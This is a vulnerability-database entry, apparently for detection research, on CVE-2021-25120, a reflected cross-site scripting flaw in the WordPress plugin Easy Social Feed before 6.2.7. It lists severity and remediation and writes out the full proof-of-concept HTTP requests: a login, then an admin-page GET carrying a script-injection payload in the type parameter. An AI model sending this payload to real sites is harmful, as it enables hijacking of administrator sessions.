🔙 목록으로 돌아가기

CVE-2021-25120: Easy Social Feed < 6.2.7 - Cross-Site Scripting

TitleEasy Social Feed < 6.2.7 - Cross-Site Scripting
AuthordhiyaneshDk
SeverityMedium
ImpactAttackers can inject malicious JavaScript via reflected XSS in the type parameter, potentially stealing administrator session cookies or modifying social feed configurations.
RemediationUpdate to Easy Social Feed version 6.2.7 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.54081
CVE IDCVE-2021-25120
CWE IDCWE-79
Tags cve2021 cve wordpress wp-plugin xss authenticated wpscan easysocialfeed vuln

🔍 Vulnerability Description

Easy Social Feed < 6.2.7 is susceptible to reflected cross-site scripting because the plugin does not sanitize and escape a parameter before outputting it back in an admin dashboard page, leading to it being executed in the context of a logged admin or editor.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=oaWrYn&pwd=z3seNz&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=easy-facebook-likebox&access_token=a&type=</script><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25120.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25120.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A